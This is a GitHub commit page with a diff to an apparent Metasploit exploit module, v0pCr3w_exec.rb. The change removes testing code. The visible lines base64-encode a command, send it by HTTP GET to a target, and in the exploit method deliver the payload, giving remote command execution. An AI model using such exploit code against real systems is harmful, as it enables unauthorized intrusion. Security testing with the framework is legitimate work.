Skip to content

Commit fd302d6

Browse files
author
bwall
committed
Removed testing code
1 parent a534624 commit fd302d6

File tree

1 file changed

+1
-5
lines changed

1 file changed

+1
-5
lines changed

modules/exploits/multi/misc/v0pCr3w_exec.rb

Lines changed: 1 addition & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -66,7 +66,7 @@ def check
6666
return Exploit::CheckCode::Safe
6767
end
6868

69-
def http_send_command(cmd, opts = {})
69+
def http_send_command(cmd)
7070
p = Rex::Text.encode_base64(cmd)
7171
res = send_request_cgi({
7272
'method' => 'GET',
@@ -80,10 +80,6 @@ def http_send_command(cmd, opts = {})
8080
end
8181
end
8282

83-
def execute_command(cmd, opts = {})
84-
http_send_command("#{cmd}")
85-
end
86-
8783
def exploit
8884
http_send_command(payload.encoded)
8985
end

0 commit comments

Comments
 (0)